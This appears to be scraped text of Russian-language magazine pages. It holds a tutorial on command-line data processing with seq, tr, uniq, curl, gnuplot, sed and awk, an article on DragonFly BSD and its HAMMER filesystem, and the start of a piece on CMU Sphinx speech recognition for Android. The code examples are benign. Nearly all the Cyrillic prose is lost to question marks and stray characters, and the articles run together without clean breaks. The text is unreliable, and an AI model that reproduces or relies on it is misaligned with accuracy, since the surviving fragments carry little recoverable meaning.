? ?????? ????????, ?? ??????? ???? ?? ?????????? ?????????;
? ??????? ??????? ?????????????? ??????????? ?а???????? GroupBy.
?а??? ??? ?а???????? ?????? ??? ????? ??а???????? ?а?????-?????? ??????????? ???? ????????? PostgreSQL, ???? ?? ??? ????? ???? ???????? ????? API,
???????? ?????????? ???? ??? ?????????????? ???-???????. ?????? ?????
??????????? ?а???-?? ???? ????? ???????????? ????? ??????? HDF5, ??????
???? ?????? ?????? ???????? (??? ??а????????) ???? tar.gz-?????? ???-??????
??аHDFS ??? ???? ????????. ??? ????? ????????? ??а???????? ????????????????? ???????? ????????? ?а???????????? ????? ??????? CSV/TSV ???? ??
???? ??????-?????? ??????? ?а???????????? ???????.
л??? ????,а? ????? ?????? ???????????/????????.а? ?????? ??? ????????
?аPandas ???? ?? ????????? Hadoop MapReduce job??╗. ????, ????????? ???
?? ?????? ????? ??????, ??????????? ??а??????? ?а????, ??? ?а?????? ?????
???????? ??? ??а??????? ??????? ??а???????. ???? ??? ???????? ?а?????-????? ????????? ????????? ?????? ???? ????? ??а????????, ?а?а??????-?? ???????, ??а??????? ?аPandas-?? ????????? ??а?????? (????????, ??-?? ??????????
???????? CentOS?? ?а?????????? ????????? ????). ?а?? ???????????? ????????
?????????????? Hadoop?? ???а????, ????? ????????? ??????? ??????????????,
?? ?а????? ?????????? ????? ?????а? ??? ???-?? ??а???????? ??????????.
??, ???? ?? ???? ??????????? ?????? ??? ????????????? ???????? ??????,
?а?????????????? ?????????? ???? CPU, ????? ????? ??????????? ?а????????
?????? ?????? ??????????? ???????????, ????????? ???????, ???????????
???????? ???????, ?????????? ??а?????????????? ?????! OH WAIT~
SHELL-??????? ??а?????? ????
??, ??????????? ?а????? *nix/BSD-??????? ???????????? ????????? ????????
Bash (??? Zsh, ??? ???? Tcsh), ?а??????? ???????? ??????? ???????? ????????
??????? ???? ?????? ???????? ???????. ?а????? ?а???? ?????? ???? (?? ????? ??? PowerShell), ??а??????????? ?????? ?????? ????? ????????? ????????
????? Cygwin. ??? ?????? ??????, ??????? ?? ?????????? ?????? ????: cat, wc,
tar, sort, echo, chmod, ls, ps, grep, less, find, history. ?????? ?а?????? ? ????????????, ??? ???? ??????????? ??????? ???? ???????? (? ???? ???а? ????????
man ??а???, ??? ?????????).
????? ???????? ??????, ?????????? ????? ????? ??? ??????, ?????? ?????????????? ?????? ?а????????? ???????; ????? ??а???а? ??? ?????????????
??????????? ????. ????? ?????? ??а?????????.
seqа? ?????????? ?????????????????? ????? ?а???????? ?????:
$ seq 4 # ??а1 ??а4
1
2
3
4
$ seq 7 -2 3 # ??а7 ??а3 ?а????? ?2
7
5
3
$ seq -f "Line %g" 3 # ????????? ????????????
Line 1
Line 2
Line 3
tr а? ?????????? ?????????? ?????? ???????? ?? ??????? ??????:
$ echo "lol" | tr 'l' 'w'
wow
$ echo "OMG" | tr '[:upper:]' '[:lower:]'
omg
zcat / gzcat / gunzip -cа? ?? ??, ??? cat, ??а???а??????, ?????? ?аgzip-?????.
?????? ??????? ??? OS X ???????? ?????, ??????? ????? ????????? gzcat ????? brew install coreutils ???? ?????? ???????????? ?????? ???????а? ?? ???????? ?????, ???? ?а???????.
headа? ??????? ????????? (?? ????????? ??????) ????? ?а?????? ?????. ?????? ???, ??? ??а??????? ???????? ????? ?а?????? ???????. ???????? ??????????
?????? ??????, ???????? ???????? ??????? ?а???? ????? ???????? ?аCSV.
$ head -n 100 file.csv
# ?????? ????? ????? ??????
tailа? ?? ?? ?????, ?????? ??????? ?????? ??а?а??????, ?аn ?????????. ?а???,
?а?????????? ??????? ????? ???????????? ????????? ??а?????? ???????????
?????? ???????.
$ tail -n 100 # 100 ????????? ?????
$ tail -n+100 file.csv # ??????? ??? ?????? ?????, ??????? ?а?????
zgrepа? ?????? grep ???а?????? ??а??????????? ?????? ?а???????.
uniq а? ???????? ??а????? ?????? ??????????????? ??????:
$
1
2
2
2
echo "foo bar baz foo baz omg omg" | tr ' ' '\n'
| sort | uniq -c # ??????? ??? ????????? ?????????? ??????
bar
baz
foo
omg
????? ??????? ?а???, ??? ??а????????? uniq ??????????? ?????? ??????????
??????, ?????? ??????, ???????, ???? ??????? ????? ?????????? ?????? ??а????? ?????, ???? ??? ??????? ?????????????.
shufа? ?????? ????????? ??????? ??а?????????? ??а???? ?????:
$ echo "foo bar baz foo baz omg omg" | tr ' ' '\n' |
shuf -n 2 # ????? 2а? ?????? ???????
omg
baz
?а??? ????? ???? ??????? ??????? pipe?????, ??????? ??а??? ????????? ???????,
???????? ????????? ??????????? ????? ????? ??????? ??а??????????? ??????
??????. ?аBash ??? ???????????? ????? ????? ????? ?????????, ??, ?? ??????:
$ cat jedi.txt | grep -v Anakin
??????, ???? ????????? ??????а? ????? ??????????? ?????? ???а??????????
?????? exit-??? ????????? ??????? ?а???????, ???? ???? ?????????? ???-??
?????. ??а?? ?? ????? ???? ?а?????! ??????? ?а?????????? ??????????? shell???????? ???????? ????? ??? ?????:
$ set -o pipefail
????? ??????? ?? ????????????? ???? ?????? ?а???? ?????? ?а??????, ????
??? ??а???. ?????? ??? ????? ????? ???????? ?а????? ?????????а? ?а???????,
?? ????, ??? grep ?????????? ????????? exit-??? ?а??????? ???? ???????????,
???? ?????? ?????? ??а??????? ??а??? ???????? ???? ???????? (?????????????? ???? ??а?????, ??а?а?????? grep ????????? ??? ??а?????? ??????? ?? ????
?? ?????-?????? ???????). ????? ??????? ??? ???:
$ cat file | (grep "foo" || true) | less # ??????? ???? ???а?????? ????
??????? ???????????? ????? ????? ????????, ??? ?????? ??????? ??????????
?????? ?а?????? ?????????? exit-???? ??????, ?а??????? ?????? ????????? ???
??????????? ?аsubshell??, ?? ???? ???а???? ???????. ??????????, ??? ??????
?????? ??????? ??????а? ?? ????????? ????? ???????, ?????? ?????? ???
???-???? ????????. ??????, ?а???а????????? ?????? ?????? ???а?????? ???????
?????????, ????? &&.
?? ?а??? ???? ???: ??????, ??? ????? ?????????? ????????? ??????? ?????????? ??????????? ?????? ?а???? ????? ?а???????????? ??? ???а????? ?????? ????????????. ???????? ??? ???:
$ { echo '1'; echo '2'; } | ??????_???????
?????? ????????, ??? ???? ?????? ????? ????? ?????????????? ??????? ?????? ???? ?а???????? ?????. ??????? ??????а? ??? ??????????????? ????????
????????, ?? ???? ????????? ????? fork() c ????????? ?????????? ??????????
child-????????. ???????? ?? ??????а? ??? ?????? ??????????? ??????? ????????? ?а???????? ????? ???? ?а????????? ???????? ?????, ???а?а?????? ???????????????? (???????, ??????????, ????? ??????? ?аBash).
Fun fact
??????-?? ??????????? ?????????? ??? ??????, ??? ??? ??????? ??????????? ??????????????? ?а???????? ???-?? ??????, ?????? ????? ???????? ???-??
??а??????????? ????. ????? ?????????? ??а????? ?????????, ???????? ????????? ????? ???????:
sleep 3 | echo 1
??, ??????? ?? ?????? ?????, ?а????? ????? ??? ??? ??????? ?????. ????????
?а???, ??? ??? ??????? ?а??????? ??????????? ?????? ????????????, ?а?а????
?????? ??? ?????? ??? ?а??а???? ??????? ?????? ??а???? ?а??а????? ??????
??а?????.
?????? ?аHTTP
???а???? ????? ????? ?????????? Nikon ?аCanon, ??? ?????????? ?а????????? ????? ????????????? ?????? ?????????? HTTP-????????, ???????? cURL
?аWget. ? ???????? ??? cURL, ?????? ??? ?? ????? :).
??????????, ???????????? ????? ?а??????а? cURL ????????? ???????? ????? ???????? ??аHTTP-????????? ?а????????, ???????????? ???? ?а?????????,
?????? REST-??????? ?а???????? ??? ??? ???? ??аstdout. ???? ???, ?????? ??????, ?а???????. ??????????, ???? ???? ????, ??????, ?а?????????? ????? ???????? ???????, ?? ????? ??? ????????? ??а????, ?а????? ??а???? ???-?? ???????,
????? ???а????? ???????? ???????? ???????? ??? ?а?????? ?????? ?а??????
??????.
? ??а???? ?????? ?а???????????? ??????????? ??? ???????? ?а?????? (RTFM
?а??????, ??????, ??? ?????, ??? ?????? ?????? ??а????????? ??аC/Java/
Python), ??????? ??????, ??? ????? ???? ??????? ???????? ???:
$ curl [-XGET|-XPOST|-XPUT|-XHEAD]
?а????? ????? ???????? ???????? ???? -s, ??????? ????????? ???????? ??????
?????????? ??????????, ???????? ?а????????? ??????????, ??а???????????
?????. ??? ??????, ??? ??? ??а????? ??? ?????? ??а??????????? ????? ????????? ?????????, ???? ??? ??????? ?аpipeline.
????, ??????? ??? ????? ???????:
$ curl -s http://URL/some_file.txt | tr '[:upper:]' '[:lower:]' |
grep -oE '\w+' | sort | uniq -c | sort -nr -k1,1 | head -n 100
??? ???????? ???а??? ???? ?????? ????, ???????????? ??а???? ?а?????? ???????, ????????? ??а?????????????? (alphanumeric, ???) ?????, ?????????,
??????? ???????????, ??????? ????? ?????????, ??а??? ??а??????? ????????
?а???????? ??????? ?а????????, ?а??а?????????????????. ???????? ????? 100
?????? ?????, ????? ???????, ????? ????? ?а????? ?????? ??????????? ????
?????.
??????? ?????? ????????????? cURL
???? ?? ?а???? ????? л???????????╗ ????????????? ?????? ?а????????? ??????????а? ??? ?, ?? ??? ??????????. ????? ?????????, ??? ?а??? ???? ?????
???????, ???аgnuplot, ?а???????? ?а????? ??????? ???? (????? pipe, ??????????)
??? ????? ?????:
$ ? | awk '{ print $2 "\t" $1 }' | gnuplot -p -e "set term png; set
xtic rotate; plot '-' using (column(0)):2:xtic(1) smooth freq with
boxes" > 123.png
??? awk ? ???????? ????????? ???? ?????? (? ???? ?? ??? ??? ??????: ?? ?????? ??????? ??????? ?а?????? ???????????? ????? ???? ?????????), ?а??? ???
gnuplot ????? ???. ??а???????????????? ?? ???????? ???????? matplotlib?? (???
???????????? ?????????? ???а?????????? ???????? ??аPython), ??а?????????
???????? ??????????? ????? ????????? ???????? ????? ???????. ? ??а?????,
??а?????-?????? Pandas ??? ??? ????????? ???? ????? ???????? ?а?????????
?????, ??а??? ????? ??????? ???????, ?а??? ??????? ??????, ??? ??????? ??????????.
?????? ???????, ??????????????? gnuplot
??????, ?а???? ????????? ???????? ?????? ???????????? ???????? ?????? ??????? ????????????? ??????? sort, ?а??а???: ?а?????? ??????? ??????? ??????
?? ????? ????????? ?????? ?????????, ??? ???а?????? ??? ??????? ??а???? ??????? ?а???а?????. ??а?а??? ???? ?а??????????? ????а? ??? ????????? ???????
?????? ??а????? ?а???????? ??а?????????? ?а?????? ??? ???????. ?????? ??????? ???? ??а????? ??????? ?????? ?а????????? ?????????? ??? ?????-??????
??????? ???????? ???????? ?а??????? ?????????. ?????-??????.
SED ?аAWK
???? ????? ?????????? ????????? ?а?????? ???????? ???????? ??? ??? ??????? ????? ????? ??????, ?????? ??? ??????? ?? ???????????? ????????
?а?????????. ??а???? ????а? ??????????? ????????????? ?????? ???а???????
??а??????, ?????????? ??аsed, ?а?????? ??????а? ???????????? ???????????
???????? ???? ?????? ?а???????????? ??????. ????????, ????? ???????? ??????? ?????? ?а?????????? ??????? ?? ???????.
????, sedа? ??? ????????? ????????, ?? ???? ??? ???? ???????, ???????
????????? ???-?? ??а????, ???????????? ???????????? ??????? ?а??????
??а?????. ??? ???, ?а??? sed?? ??? ??????а? ??? ?а?????? ????? ??а???????,
???а????, ??????????, ??? ???? ????? ?а??????????:
$ cat file.txt | sed 's/First/Second/g'
????? ??????????? ???????? ???????? ??а????? g ?а????? ???????, ??? ???????????????? ???аgreedy, ?? ???? ??????. ???????? ????? ?а???, ??? ??а?????????
(??? ???? ?????) sed ??????? ?????? ????, ????? ?????? ????????? ?????????
?а??????, ???? ???? ??? ??????????? ????????? ???. ?????? ???????, ??????
??? ???? ??????? ??????????, ??а????????????а? ?????? ????????.
?????? ????????, ?а??????? ????? ???????????? ???а??????? ????????????
sed,а? ??? ??? ?????????? ??????? ??????. ???а??????? ???????????? ????
?а???????? ?????????? ???а??????? ???????????? ????????? ?а??, ??? ????
???????????? ?????? ?????? ???? ?а?????, ????????? ?? ???????? ???????????? ????? ?а????? sed, ?? ???? ?????????? ???-?? ????????:
$ cat paths.txt | sed 's/\/usr\/bin/\/usr\/share\/bin/g'
???????? ?????? ????? ??????? ?а???, ??? ?а???????? ??????????? ????? ?аsed
????? ?????????????? ????? ??????, ??????? ??а??????????? ?а??????????. ??
???? ????? ??а???????? ???? ???????? ???, ?а??? ????? ????????:
$ cat paths.txt | sed 's:/usr/bin:/usr/share/bin:g'
??? ???? ???????? ??????? ?а????????????? ?????????? ?????????. ???а?а?а?????? ?аgrep, ????? ?????????? ??????????? ????????? ?а??????? -r ??? -E
(??????а? ?а*nix-????????, ??????а? ?аBSD, ??????? OS X). ?????? ??????
???? (????????? ??????) ????? ????????? ??а?????? ?а???????? ??? ????????????????. ????????, ??? ?? ??????? ??? ????? ?а?????? ???????? ?а??????:
$ echo "foo bar OMG" | sed -r "s/[a-z]+/(&)/g"
(foo) (bar) OMG
????????? ?????? ??????????? ?а????????? ??, ??? ?а??? ??????????? ?а?????????? ?а?????? ?????????. ???? ?? ??????? ?????? л???????????╗а? ?????
?????????, ??? ?а?????????? ???? ??? ?????????? ??????, ??????? ??????????
????????? ???????? ?а????????? ????????? ??а????. ????????, ????? ??????? ???:
$ echo "Fooagra Foozilly" | sed -r "s/(Foo)[a-z]*/\1fel/g"
Foofel Foofel
????? \1 ????????? ??а??, ??? ????????? ?а??????? ??????? ?а?????? ?????????,
?? ???? ??а?????? "Foo". ??? ????? ??? ?????.
??а?????? ????????? ???????????? sed, ????? ???? ??а???? ???????????
(???? ?????????, ??? ??? ?а????????? ??? ?????????, ????? ???????? ???? ????????). ???а??????????? ????? ??а?????? ???????? ????? ??? ??????????.
?????? ??? awk. ?а???? ?????? ??????? ???????а? ??? ?????????? ??????
??а?????, ??? ?? ??????? ??? ??????. ??а????, ???, ??? ??а??? ????,а? ??? ?????
??????????? (? ??а????????? awk ???????? ??????? ??? ???, ?а???аTSV, ????????, ??? ??????? ?????????), ?а?????? ?? ?????? ???????? ??а?????????? ?а?????? ??а???? ?????, ???а?а???????????.
????? ????????, ??? ? ???? ?а????, ????? ?????? ??а????????? ?????????
??аawk (??, awkа? ??? ?????? ???? ????? ???? ????????????????, ???????
?а???????):
BEGIN {} {} END {}
???????? ????????, ??? ?а??? ????? ??? ??????. ??, ??????? ??????????? ?а????? ?????? (BEGIN), ?????? ?????? ???а????????????? ??????????, ?а??, ???
?а????? (END),а? ???а?????? ??????????. ?а????? ??????????? ??????????, ????????? ???, ??? ???? ?а????? ??а???????? ????, ?????? ?а????????? ??????
??????????, ?а???????????? ?????? ???????????, ??????? ????????? ??а??????? ??а????? ??а??? ?а????????????? ???????????? ???? ??а??? ??а??????????
?а??????? $1, $2 ?а??? ????? (????????? ?а???????).
$ cat file.txt | awk -F':' '{ print $2 }' # ??????? ???????? ??а???????
???? ???а?????? ??????
$ cat file.txt | awk '{ print $2 "," $1 }' # ????? ????, ?????? ???????
?а??????? ????? ???????
$ cat file.txt | awk '{ print $1,$3,$2 }' OFS='\t' # ?????? ???????????
???а???? ????? ?а?????? (????? ???, ??? ??????? ?аprint)
$ cat file.txt | awk '{ x+=$2 } END { print x }' # ????????? ????????
??а??????? ???? ?а?а????? ??????? ?????????
???а????? ??а?????????? ???????, ?аawk ????? ????? л?????? ?????????╗, ??
???? ??? ?????????? ???????????? ?????? ??а????, ????? ???????? ?? ?? ???????? ?????????. ????? ????, ??а????????? ???????? ?????????? ????? ????.
???? ??? ???? ?????????? ??????????, ???????? ?????? ????????????,а?
??? NF ?аNR, ??????????????, ????? ????? ?а??????? ?????? ?а????? ?????, ??????????? ??а?????? ??????. ?а?????? END ??????, ??? ???????, ????? ?????
?????? ?????????? ????? ??а?????, ??? ??? ????????????? ??? ??????? ??а?????. ??? ???, ???????, ??? ????????? ??????а? ? ??? ????, ???????, ???-?? ??????? ??? ??????? ??????????????:
$ echo "4 8 15 16 23 42" | sed 's:\s:\n:g' | awk '{ s += $1 }
END { print s / NR }'
18
?????, ???? ?????? ???? ?????? ???????, ??? ?? ?????? ????? ??????????.
?а???а?? cut?
??? ?????? лcut╗? ??, ???? ????? ???????? ??????? ??????? ???а??????????
????? ??а??????? ??????. ??, ??-??????, ?а??? ????? ?? ??????????? ????????? (???????? ?????????? ???? ????? ps auxа? ???????????), ?а??-??????,
??а??????? ??????? ?????? ??????? ???????? ?????????????? ??? ????????
?а??????? ???? ?????????, ??? awk-?????? ??а??????? ??? ?? ?????. ????? ??
??? ??????? ?а??????-?? ??????? ?????????? ????????? ??????, ??а??а?????
??????? ?????а? ????? ????? awk ?а??а????????.
??? ?????? ??????????
??????? ?? ?????? ??? ????????? ???????? ????? ????????, ??а???????? ????.
??????? ??а???? ?????????? ???????? ?????? ??а?????? ?? ??????, ?а????? ???
???????, ??? ?????? ????? ?????? ?а????? ??????? ??????????? (??? ? ??????
??? ?????????) ???????? ??а??? ???????????? ?а??????? ??????? ???????,
???? ?? ?????????? ?????????? ??? ????????????? ?а???????????? ????.
?????? ?????? ?????? ?а????? ??????????????????, ?а???? ?????????? ???????? ????????? ??? ????? ?????????? ??????? ??а?????? ??????, ??????????
?а?????? ????????????. ?а?? ?а??? ????? ??????? ?а???????? ?????? ????????
????? ?а?????????. ??а?????? ???????, ??????????? ???????!
UNIXOID
??? ??аBSD
DRAGONFLY,
????????? ????
?аHAMMER
??????? ??????
androidstreet.net
л????????╗а? ????????? ??? ???а????????????
??????? ????????? BSD. ?а??? ?????????: ??????? ????????????? ????????, ?????????????
?а?????? ?????????????? ??????????? ???????.
?аDragonFly ????????? ????, ??? ???????? ??
?а????????????? ?????????????, ??? ?????????? ????????????? ???а?????? ??????? ??????
???а?????? ??аSMP-????????, ?а?? ?????? ???????? ??????????? ??а???????, ??а????? ??????????? ???????? ??????? HAMMER, ??????????
????????????? ZFS/btrfs ?а????????? ????????
??а????????.
???????????? ???
??????? DragonFly, ???а?а??????? OpenBSD, ???????? ?а?????????. ??а???? ??
?????? ?????? ???????? ??? ?????? ??а?????? ?????????????? ??????????
????????, ?? ?а?????? ????????? ????? ??????? ????????. ?а?? ????? (?????? 2000-?) ?????? ?????? ??? ????????? ??????? FreeBSDа? 5.0, ?а???????
?????? ???? ????? ????? ???????? (devfs, GEOM), ?а????? ???? ??????? ?????? ???? ???а?????????? ??а??? ?????????? ?????????? ?????????? ???? (Big
Giant Lock) ???а?????? ??????? ??а????????????/????????????????? ?????????? (SMP).
?????? ???????? ???? ?????????? ??а?????????? ?????????? ?а???? ???????? ????????? ????? ??????????????. ???а????????, SMP-??????? ?????????? ???, ??? ????? ?????? ???????? ???????????? ???а???? ???????????? ????.
??????? ???????, ??? ???? ?????????? ???? ??????, ??????? ????? ????? ????
??а???????, ???? ???????? ???. ????????? ????????? ????????: ??? ?????,
???? ??? ?????? ?????????? ???? ?????????? ???????? ?????? ??? ????????
???? ?а?? ?? ????????? ?????? (???????? ?????????? sysctl, ????????) ????????????? ?????: ????????? ???????? (?????, ??????? ?????? ??? ??????? ???
??????, ????? ??????? ??? ??????, ??? ????????а? ??а????? ???????????
?????? ?????????????). ????? ??????? ??????? ???? ????????: ?????????
?????????? ????? ???? ???? ???????????? ??????????? ???????????? ?а??????? ?????????? ??????????, ???а?а???? ??????? ?аFreeBSD 4. ???? ????
????????? ????????? ??? ????, ?????? ????.
???? ?????, ????? ?????? ????????????, ?а?аFreeBSD 5 ???? ????????????? ?????? ??????????? ?????????? ??а????? ??????? ?а??????? ???????? ?????????? (mutex), ??????? ????? ??????????? ??а??? ???????-?????? ????????
????????? ??????. ??? ??? ???? ??? ??????????? ??????????? ????????????,
?а????? ??????????? ?????? ?а?????? ?????????????? ??????? ?а????? ?а???
?? ?????????? ?????? ?а???????????.
??а?а?а????? ??????? ???? ????????? ???????????. ??-??????, ???? ???????????? ?а???? ???? ?а?????? ?????, ?????? ??а??????? ?а???? ?? ???????? ????
??а?????. ??-??????, ??? ?????????? ???????????????: ?????????? ??????????? ??????????? ?а???а??????? ??а??, ??? ???????????? ???? ?????? ?а?????? ????? ????? ??? ??а????? ????? ???????? ?а????????????? ????????,
??? ???а????????? ?????? ???а?????? ????????????? ????. ????????, ????????
????? ???????? ??? ??а????? ???? (? ????? ?????????? ??а?????) ??? ???? ?????????? ??а?????? (?????????? ?????).
???? ??а???????? ????????????? ???? FreeBSD ?аLinux ?????? ??????
(Matthew Dillon) ????????? ?????? ??? ?а?????? ????????? ????????, ??????????? ??а?????????? ?а??????? ?? ??а??? ???????? ??????????: ????????
?????????, ???????? ?????? ???? ?а???????????/????? ?а????????????????? ????????? ???? ????? ???????????? ?а??????.
???а?????????? ???? ???? ????????????? ????????? ????????? ???????????
?????????/??????? ??а?????? ?????????. ???а??????? ?а?????? ???? ?????????????? ???????????? ???????? ?????????, ??????? ???????? ?? ????????
??????????, ????????? ?????????? ?????????????????? ?????????? ???????? ??????? ?а??а?????????? ?? ???????? ????????, ????? ????????? ???????,
???????????? ??а?????? ?а????? ?а??? ?? ??????, ??????????? ??а????? ??????????. ??? ???? ??а??????????? ????????????? ?????????????? ??а??????
???????????/?????.
?а?????????? ????? ???? ????? ????? ????? ?????? ????? ?????????:
? ?
????????? ???а??????? ?а?????? ????????? ?????? ???? ??а???????????,
??? ???а?????? ????????? ????????????? ?????????? ???а??????? ??????????.
? ?
????????? ???а??????? ?а?????? ???? ?а??????????? ??????? ??а?????,
?????? ??? ????????????? ?? ???????? ????????? (????? ?????? ?????????? ??????, ?а?? ???????? ?а??????? ??а?????????).
? ?
?????????? ??????? ????? ??????? ?????????????????? ????????? ????????????????? ????????? ????: ??????? ??????????? ????????? ??а??????
????? TCP/IP ??а?????? ???????????? ???? ?а?????????? ?? ????????? ?????? ?а??????? ?????????, ??? ??????????? ??а????? ???????? ????? ?????????? ??? ??????????? ???? ??????? ???? ???????.
????????????? FreeBSD Core Team, ??????, ???? ????????????? ?????? ?????
?????????? ?а?????? ????????? ?а?????????? ??а????????????? ??????????:
?????? ?????? ??? ????? ?а??????? ???? ???????. ?????? ?? ??????, ??? ??????? ?????????? ????? ????????? ??а????? ??????, ?????? ???а??????????? ??????? ??????????, ?а?????????? ??????? ???? ??а????. ????? ??а?????, ??????
???????? Core Team ?а???????????? ?а????????? ????????.
DRAGONFLY
??? ?а???? 2003 ???? ?????????? ????? ???????????? ??????? DragonFly BSD,
?????????? ??а??????? ???? FreeBSD 4.8. ?????? ?а??? ?????? ?????? ??????????? ?а???????? ????????? ??? ???? ????. ????????????? ????????? ??????, ??????? ???, ?????????? ?????-?????? ?а??????????? ???????? ???????
?????? ????????? ??а????????? ?????, ??а?????????? ???????????/????, ?????????? ???????????????? ??а???????????? ?????? ???????? ?????????,
?а????? ????????????? ?????? (Serializing tokens) ?????? mutex ?а??? ??????,
??? ???а?????????? ???????? ?????? (????????, ???а??????? ?а??? ?? ?????????? sysctl).
????????????? ?????? ???????? ??а???????? ???????
?а??????? ?а???????????: ????????? ??а????? ??????? (?????) ????? ????? (?????), ????, ???? ??????? ????? ??а????
??а??????? ???????, ?а??????? ?????? ????? ????. ???? ??
??????? ???-?? ??????????, ??? ????????? ???? ??а????? ??FUN FACT
??????????? ?а??? ????????, ?? ?????? ???????? ???? ?????
?а???????, ?а??? ???????? ????? ????? ????? ??а?????????а???? ??????
???. ?а?????? ??????? ?????????? ?????? ????????? ??????
??? DragonFly
??????? ???????? ???????????? ??????????а? deadlock.
BSD ?а???????
2011 ???? ??????
??? ???, ??????? ??, ?????????? ??а?????, ?а??? ??????
?????? ??????
????? DragonFly ?????????? ??????????? ?а???????????????????????? ??????
????? ??а???????????? ?????????? ?????? ????????. ???а???????????
AMD, ??????? ?????
???? ?????, ??????????? ??аDragonFly BSD 3.2, ????????
????????? ?а?????
???????? ?????????????????? ???????. ??а????????? ?????
??????????. ?????
????????? ??? ?????? ????? ?????? ??? ????? ????????? ?????? ?????? ????????
????, ?а?????????? ??????? ??? ?а??а????? ????? ????????AMD ???????????
??????? ??????.
?????? ?а????????????????, ??? Linux (???????, ??????, ???
????? ??????? ?а???? ????????? ???? ???????).
?????????????????? ??а?а????? pgbench
????????, ??????, ??? ?? ??????????? ?????????? ?????? ????????? ???????, ?а????? ??? ?а??? ??? ???????? ?а?????, ??????????? ?аLinux ???а??????????? ?????????????????? ???? ?? PostgresSQL ??а???????????? ????????, ???
????? ???????? ?????????.
???????????? ???????????? DragonFly
HAMMER
?а?????? ??????? DragonFly ??????????? ????? ?а??????????? 64-?????? ???????? ???????, ??????????????? ???а???????????? ????? ??????? ???????
?????? (?? ?????????). ????????????? HAMMER ????? ?????? ??аbtrfs ?а???????? ?????????? ?????????????:
? ?????????????? ?????????????? ?????? ???а????????????? fsck;
? m
ulti-volumeа? ???? ???????? ??????? ????? ???? л?????????╗ ??а256 ????????;
???????? ???????????? ?????? (?????????? ????? ?????? ????? ??????? ?
???? ?а????);
? ??????????? ????? ???а??????????? ??????????? ?????? ?а??????????;
? ?
?????? ??????? ????????? ?а???????????? ?????? ?а??????? ???????
??????;
? ????????? ??????????????? ?????????? ?????????;
? ????????? ????????? ???????? ?????? (pseudo-filesystem), ??а?????? ??.
????????? ??????????? HAMMER ????? ??????????? ???а??????????????
??????, ?а??? ????? ??а?????? ??????? ????, ????????? ?????????? ?????????
NFS. ????? ?????? ???????????? ?? ?а???а??????. ??? ??, ?а????????? ??а?????????? ???????? ???????? ??аNFS, ???????? HAMMER ?????????? ??????????
?????????? ??: ????????? ?????????? ?????? ??а????????? ????? ????? ?????
?????.
??????? ?????
?????????, ??? HAMMER ???????? ??а??а???????? copy-on-write, ????? ?????
?????? ?????? ?а???????????? ???? ???????? ?а???????? ?????? ?????, ???????? ?????????? ?а???????????. ??????? ???????? ???????? ????????? ?а???
?????????? ??-???????. ???а???????? ???????? ?????? ??? ?????? ??????????????, ?а??? ????????? ???????????? ??? ?а????? ??????.
?а?????? ?????? ?????? ??? ???????? ???????? ??????????? ?а??? ????
??????? ??а?????????? HAMMER2, ??????????? ??а???????? copy-on-write
?а?????? ?????????? ?????????, ?а??? ????? ?а?????? master-master.
?????? ??????????? DragonFly
? ????????? ????????????? ????????? x86_64.
? ??????????? ????????? ???? ???а??????? ???????????????? ???????.
? ???????? swapcache, ??????? ????????? ?????????? ?????? ?а??????????
???????? ??????? ?аswap-??????? ????????????? ??????.
? ??????????? ????????? ?а?????????????? ????????? ?????????. ????? ?????????? ??????????, ???????? Ctrl + E, ???а?????????? ????????? ??????? checkpt -r file.ckpt.
? ?????????? ????????????? ??????а? ??, ???? ????????? ???????, ?????????????? ?????????? ?????????.
? DNTPDа? DragonFly Network Time Daemon, NTP-?????, ?????????? ?????????? ???аDragonFly.
? DMAа? DragonFly Mail Agent, ??????? SMTP-??????.
? dm_target_cryptа? ????????? ??????????? ?аLinux (LUKS) ??????? ??????????? ?????????? ??????.
? ??????? tcplay ???а?????? ?а????????? ?а????????, ?????????????? ?а??????? TrueCrypt.
??????
??????? DragonFly ???? ??а????? ??аsuccess story, ??? ??????. ?????????????????? ???? ?а??????????? ???? ????????????? ???? ??????? ???? ?а???????
????, ??? ???? FreeBSD, ??а???????? Linux. HAMMER ???а???? ????? ???????????????? ??????????? btrfs ?аZFS ?а???????? ??????/?????? ??????, ?а?????????? ?????????? ???????????????? ??? ?а??а???? ???????????. ?????? ?????
????? ?а????, ??? ????????? ??а?????????? ?аDragonFly ???? ???-???? ??????????? ?а?????, ?а??? ????? ?а???? Linux ?а?????? ????????.
UNIXOID
?????????
???????
?????
2
????? ?????
temazorin@hotmail.com
????????????
??????????
?????????????
????
?а???? ?????????? ?????? ?????? ?????? ?? ??????? ??????????? ??????? ????????????? ???? ???аLinux ?а?????????? ?????????? ?а????????? ???? ??а???а? CMU Sphinx.
?а?????????????? ????? ????????? ???????????? ????
????????? ??а????????, ????????? ?????? Pocketsphinx
?аAndroid-?????????? ?а??????????? ?????? ????. ?????
????? ????????????а? ???а?????????? ???? ?????????
???? ???????? ?????????? ??????? ?????? Java.
???????????? ?а????
???а??????????? ?????????? ?????????? ?? ????? ???????????? ????????????? ?а??????????? ????? ??а? CMU Sphinx, ??????? Android-???????? c ????????????? ??????????? Veravoice (??. ?????) ?а??????? Dell Inspiron ?аDebian
8 ??а?????. ?, ??? ????? ??????????, ?????????? ?????? ????а? ???????????
??????????, ????????? ???????????? ????, ???????? Wi-Fi-????, ??а???????????? ????? ?????? ???????. ?а???? ??? ?????????? ??????? Wi-Fi-??????
?а????????? ?а???????? ?????????? ????? ???а(? ????? ?????? ??????????)
?а??????????? ???????????. ????????? ?а??????????, ???????????? ?а???????????? ?????? ????, ????? ???????? ???. ?а?????? ?????? ?? ??а?????
???????? ???????? ????????? ???????? ?????????. ??????? ????, ??? ??? ???????????? ?а???????? ????????? ????, ???а?а???????, ?а????? ??? ?? ??????????? ??а????????. ???? ??????а? ??а???????????? ???????????? ????????????
?а?? ??? ????? ??а?? ???????. ?????? ???а????? ?????? ????????? ??а????????,
???а??а?????.
????? ?????? ???? ??а???????? ?????? ????. ??? ?????? ?а???????????
?а?????? ??????? ????????. ????? ????????? ???????? ?????????????????
CMU Sphinx. ????????, ??? ??????? ????????????? ???? ???аLinux ?????? ??а????
????????????? ??????????? ?а???????? ????????????? ??????? ???? ?а?????????? ?????????? ?????????????. ???????? ????? ????????? ?а???????? ?????????????? ?????? ?????????????? (?? 300 ?) ?????????? ????????. ???????
??? ??????????? ???а??????? CMU Sphinx ?а?? ?????????, ??а????????? ???????? ????? ?а??????? ?????????, ??????? ??????а? ????????? ???? ?а?????????? ?а?????????? ?????????? ??а????????? ???????, ???а???? ???????
????????? ???? ??? Android. ?????? ????? ??а????????? ???? ????????????
???а?????????? ?????????? ???????, ????????.
??????? ????????? ?а?????? ????????? ?????? Pocketsphinxа? ?????????? CMU Sphinx ???аAndroid. ?аPocketsphinx ???? ?????? ???аWindows Phone
